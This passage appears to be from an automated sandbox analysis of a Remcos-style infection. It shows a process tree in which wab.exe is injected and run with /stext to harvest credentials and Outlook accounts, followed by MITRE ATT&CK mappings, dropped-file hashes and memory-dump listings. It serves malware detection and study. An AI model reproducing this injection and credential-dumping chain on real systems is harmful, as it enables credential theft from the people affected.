    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snoretrkkene.Rut && echo t"
      4⤵
      PID:1040
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3488
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\snnmeqlhgkgkgkkishrnavlsoybci"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dpsefjvbusyxryymjsmhlafbxmslbdrg"
        5⤵
        
        PID:4020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dpsefjvbusyxryymjsmhlafbxmslbdrg"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:3736
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\njgxf"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 933319687e12d3ec064dd1b02371afea0d64579c2bdb445a3acdcb2acfad2738
MD5 8294292c40b1fdc0f0469fb759b08bc2
SHA1 0f3fe8e08f3fc9dc5d9a7eb7b56b939976fa6bd6
SHA512 bb142ad16b6fc3ee968e2517e1448a134293937d4d6cca3d7e6d3ba049834b61c552a4fcd96715cb95afa2111e40c024c53a5466a2ff80363d2208664da00fa8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wnf2yjrq.eve.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnf2yjrq.eve.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

snnmeqlhgkgkgkkishrnavlsoybci

Path C:\Users\Admin\AppData\Local\Temp\snnmeqlhgkgkgkkishrnavlsoybci
Size 4KB
SHA256 fcb197376fc607f9493ea0460ecac86ca5ae8973120894c6f8353b67e28995d9
MD5 883af97f5f6dddc6f8cb495b841ec9ae
SHA1 225c3118ce7f9c747b891548fc637f41975bc8d0
SHA512 8ae27cb74d4d3641a3ac7dca2bbf9f8d4b89a012fb723ced33db319d24bde80e90293c0f10d2713fd024ce800f57bafd3e6d1feb4cde973eea56f4c581052b23
SSDEEP 48:wvvv0QoxfvvcQoxfdvv0QoxBvv0Qoxakvv0Qo7:mv6xvyp1v6Pv6bv67
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snoretrkkene.Rut

Path C:\Users\Admin\AppData\Roaming\Snoretrkkene.Rut
Size 461KB
SHA256 f425ecb2e6800d59c282f40dfa95ea8dd37eafb42db6f8a2cd84f92e694503ee
MD5 872a9b303812e59e2ecebdc0806f8187
SHA1 2b6a3bb525aba590f7513d40f7f323137eda401f
SHA512 2e7acb264aa2b78ac87bbed972d0759315b4d75b0cc528150c54a98bedb8758209d5910a3658688c57f1f943bd9ba320c014082cc4ea15d69f5e4167936cb9fc
SSDEEP 6144:ZxL2w0SathCjwv8lDAugKRLUcZTcpwQL+U8lOoB5dYn5ZjW0tb6VAWzGa:Zx5EqOmkALDZTc2QeH3e5ZZtbAj
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/416-18-0x00000000061C0000-0x0000000006226000-memory.dmp

Download

memory/416-30-0x0000000006990000-0x00000000069AE000-memory.dmp

Download

memory/416-16-0x0000000005AC0000-0x00000000060E8000-memory.dmp

Download

memory/416-17-0x0000000006120000-0x0000000006142000-memory.dmp

Download

memory/416-38-0x00000000093E0000-0x000000000D2BE000-memory.dmp

Download

memory/416-19-0x0000000006360000-0x00000000063C6000-memory.dmp

Download

memory/416-29-0x00000000064D0000-0x0000000006824000-memory.dmp

Download

memory/416-15-0x00000000053E0000-0x0000000005416000-memory.dmp

Download

memory/416-31-0x00000000069C0000-0x0000000006A0C000-memory.dmp

Download

memory/416-32-0x0000000008200000-0x000000000887A000-memory.dmp

Download

memory/416-33-0x0000000006F30000-0x0000000006F4A000-memory.dmp

Download

memory/416-35-0x0000000007BF0000-0x0000000007C12000-memory.dmp

Download

memory/416-34-0x0000000007C60000-0x0000000007CF6000-memory.dmp

Download

memory/416-36-0x0000000008E30000-0x00000000093D4000-memory.dmp

Download

memory/728-48-0x00007FFFF0790000-0x00007FFFF1251000-memory.dmp

Download

memory/728-39-0x00007FFFF0793000-0x00007FFFF0795000-memory.dmp

Download

memory/728-40-0x00007FFFF0790000-0x00007FFFF1251000-memory.dmp

Download

memory/728-1-0x0000029EB3910000-0x0000029EB3932000-memory.dmp

Download

memory/728-11-0x00007FFFF0790000-0x00007FFFF1251000-memory.dmp

Download

memory/728-0-0x00007FFFF0793000-0x00007FFFF0795000-memory.dmp

Download

memory/728-12-0x00007FFFF0790000-0x00007FFFF1251000-memory.dmp

Download

memory/1044-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1044-57-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1044-58-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1452-53-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1452-51-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1452-55-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3488-73-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-42-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-97-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-69-0x00000000217C0000-0x00000000217D9000-memory.dmp

Download

memory/3488-68-0x00000000217C0000-0x00000000217D9000-memory.dmp

Download

memory/3488-65-0x00000000217C0000-0x00000000217D9000-memory.dmp

Download

memory/3488-43-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-70-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-94-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-91-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-76-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-79-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-82-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-85-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3488-88-0x0000000000B80000-0x0000000001DD4000-memory.dmp

Download

memory/3736-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3736-54-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3736-52-0x0000000000400000-0x0000000000462000-memory.dmp

Download